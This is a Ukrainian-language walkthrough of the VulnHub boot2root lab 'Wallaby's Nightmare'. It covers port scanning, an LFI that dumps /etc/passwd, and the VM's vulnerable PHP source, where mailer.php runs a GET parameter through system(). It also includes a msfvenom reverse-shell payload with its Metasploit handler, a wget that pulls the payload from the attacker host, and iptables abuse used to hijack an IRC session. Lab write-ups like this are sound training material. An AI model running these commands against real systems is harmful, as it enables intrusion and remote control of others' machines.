VulnHub: Викидаємо неугодних з IRC в Wallaby's Nightmare

Всім доброго часу доби, після невеликої перерви, знову повертаємося до розбору виртуалок VulnHub. І на черзі Wallaby's: Nightmare (v1.0.2), як пише автор, на створення цього boot2root надихнули деякі попередні CTF з цього сайту, а от які саме, я думаю ви самі зможете здогадатися.

Запускаємо VirtualBox, або що вам більше подобається, і після завантаження образу, приступаємо до вивчення цього піддослідного:

$ sudo arp-scan -l -I wlan0

192.168.1.4 08:00:27:d9:00:aa CADMUS COMPUTER SYSTEMS
Куди ми без nmap'a, детектим відкриті порти:

$ sudo nmap 192.168.1.4 -sV

Nmap scan report for 192.168.1.4
Host is up (0.00074 s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
6667/tcp filtered irc
MAC Address: 08:00:27:D9:00:AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Почнемо з web сервера, заодно подивимося, що на ньому крутиться:



Якась форма, введення імені користувача, запам'ятаємо її, і спробуємо що-небудь ввести:



Нам дають деякі поради і пропонують почати або продовжити:



Це вже цікавіше, проте оновивши сторінку, отримуємо помилку з'єднання. Просканувавши ще раз весь діапазон, знаходимо, що порт на якому висить apache змінився:
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
6667/tcp filtered irc
60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Пробуємо зайти і бачимо наступне:



Не знайшовши тут продовження сюжету, запускаємо nikto:



Nikto стверджує, що знайшов LFI, переходимо по посиланню і отримуємо вміст файлу пароль:

/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
steven?:x:1001:1001::/home/steven?:/bin/bash
ircd:x:1003:1003:,,,:/home/ircd:/bin/bash

Але не все так просто… Заглядаємо в код сторінки і знаходимо повідомлення:

<!--This is what we call 'dis-information' in the world cyber security! Are you learning anything new here admin?-->

І як підтвердження:



Спробуємо перебрати доступні параметри:

$ sudo dirb http://192.168.1.4:60080/index.php?page= /usr/share/dirb/wordlists/big.txt -w



Почавши перевіряти їх по черзі, і дійшовши до mailer, виявляємо в коді сторінки ось такий коментар:


Хм, а що якщо спробувати виконати команду?


Це спрацювало, і це не розіграш! Подивимося що приховане в цих скриптах:

index.php
<?php
# basic webpage routing
$page = filter_input(INPUT_GET, 'page');
$open = fopen("/var/www/html/uname.txt", "r");
$levelone = "/var/www/html/levelone.txt";
$username = fgets($open);
$ip = $_POST['ip'];

# whitelist webpage filter
$webpageWhitelist = ['index', 'contact', 'home', 'blacklist', 'mailer', 'name'];


# Begin the filtering $page variable
if ($page === "name" and file_exists($levelone)) {
include('/var/www/html/uname.txt');
}
elseif ($page === "home" and file_exists($levelone)) {
include('s13!34g$3FVA5e@ed/home.php');
}
elseif ($page === "home" or isset($page) === false and !file_exists($levelone)) {
include('s13!34g$3FVA5e@ed/althome.php');
}
elseif (in_array($page, $webpageWhitelist, true) === true and $page !== "name") {

# If the web page is on the whitelist. Show it.
include "s13!34g$3FVA5e@ed/{$page}.php";
}
elseif (isset($page) === false) {

# Or else, IF the web page variable is NULL/Not Set. Assume home page is wanted.
include 's13!34g$3FVA5e@ed/index.php';
}
elseif (strpos($page, '/etc/passwd') !== false) {
include 's13!34g$3FVA5e@ed/honeypot.php';
}
elseif (strpos($page, '/') !== false and file_exists($levelone)) {
echo "<h2>that's some fishy stuff you're trying there <em>{$username}</em>buddy. You must think Wallaby codes like a monkey! I get better to securing this SQLi though...</h2>
<br />(Wallaby you caught trying an LFI, you gotta be sneakier! Difficulty level has increased.)";
system('rm /var/www/html/levelone.txt');
}
elseif (strpos($page, '/') !== false) {
echo "<h2>Nice try <em>{$username}</em>buddy, this vector is патч!</h2>";
}
elseif (strpos($page, '\") !== false) {
echo "<script>window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; //compatibility for firefox and chrome
var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
pc.createDataChannel(\"\"); //create a bogus data channel
pc.createOffer(pc.setLocalDescription.bind(pc), noop); // create and offer set local description
pc.onicecandidate = function(ice){ //listen candidate for events
if(!ice || !ice.candidate || !ice.candidate.candidate) return;
var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
alert('Your ip is' + myIP + ', consider it blacklisted for a bit :D.');
post('/?page=blacklist', {bl: myIP});
pc.onicecandidate = noop;
};</script>
<noscript>Wtf...де d you go <em>{$username}</em></noscript>";
}
else {

# Or else, we will show them a 404 web page instead
#include 'pages/errors/404.php';
echo "<h2>Dude, <em>{$username}</em> what are you trying over here?!</h2>";
}
?>


mailer.php
<?php
$cmd = $_GET['mail'];
if (strpos($cmd, 'nc') !== false) {
echo '<h5>How you gonna use netcat so obviously. Cmon man. This is all in the logs.</h5>';
}
else {
system("{$cmd}");
}
echo "<h2 style='color:blue;'>Coming Soon guys!</h2>
<!--a href='/?page=mailer&mail=mail wallaby \"message goes here\"'><button type='button'>Sendmail</button-->
<!--Better finish implementing this so {$username} can send me all his loser complaints!-->";
?>


Тепер саме час скористатися msfvenom, і налаштувати собі повноцінний шелл:

$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle

А також конфіг для msfconsole:

$ cat meterpreter.rc 
use exploit/multi/handler
set payload linux/x64/mettle/reverse_tcp
set lhost 192.168.1.124
set lport 4444
run

Завантажуємо це все на наш атакується хост, через скрипт mailer, використовуючи наступну команду:

wget http://192.168.1.124/x64mettle.bin -O /tmp/x64mettle.bin

Запускаємо handler Metasploit, запускаємо наш бінарники, і через кілька секунд, у нас є повноцінний шелл. Першим ділом перевіряємо, чи доступне поточному користувачу виконувати команди через sudo:

sudo -l
User www-data may run the following commands on ubuntu:
(waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
(ALL) NOPASSWD: /sbin/iptables

Не багато, але для www-data — цього навіть занадто. Заглянемо в iptables:

sudo /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination 
ACCEPT tcp -- localhost anywhere tcp dpt:ircd
DROP tcp -- anywhere anywhere tcp dpt:ircd

Chain FORWARD (policy ACCEPT)
target prot opt source destination 

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Як ви пам'ятаєте, nmap знайшов 6667 порт, і позначив його як фільтрується. Настав час це змінити, скинувши всі стандартні параметри:

sudo /sbin/iptables -F

Перевіряємо результат:

$ sudo nmap 192.168.1.4 -p 6667
Nmap scan report for 192.168.1.4
Host is up (0.00025 s latency).
PORT STATE SERVICE
6667/tcp open irc
MAC Address: 08:00:27:D9:00:AA (Oracle VirtualBox virtual NIC)

Підключаємося:



Команда /LIST показала наявність 1 каналу:



Зайшовши на який можна бачимо там ще 2х користувачів:

Nicks #wallabyschat: [@waldo GH0st3rs wallabysbot]
Користувач waldo зі мною спілкуватися не захотів, а от wallabysbot був більш привітний:



Ок, ми ж маємо доступ до iptables, що нам варто дропнуть waldo з чату?

sudo /sbin/iptables -I OUTPUT -m --owner uid-owner 1000 -p tcp --dport 6667 -j DROP

Чекаємо поки закінчиться його сесія IRC, змінюємо свій нік на waldo, і отримуємо ще 1 шелл:



Перевіримо, що доступні користувачу, а доступно йому як з'ясувалося багато що:



Забираємо прапор, насолоджуємося привітаннями, і, + ще 1 пройдений Boot2Root CTF:


Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.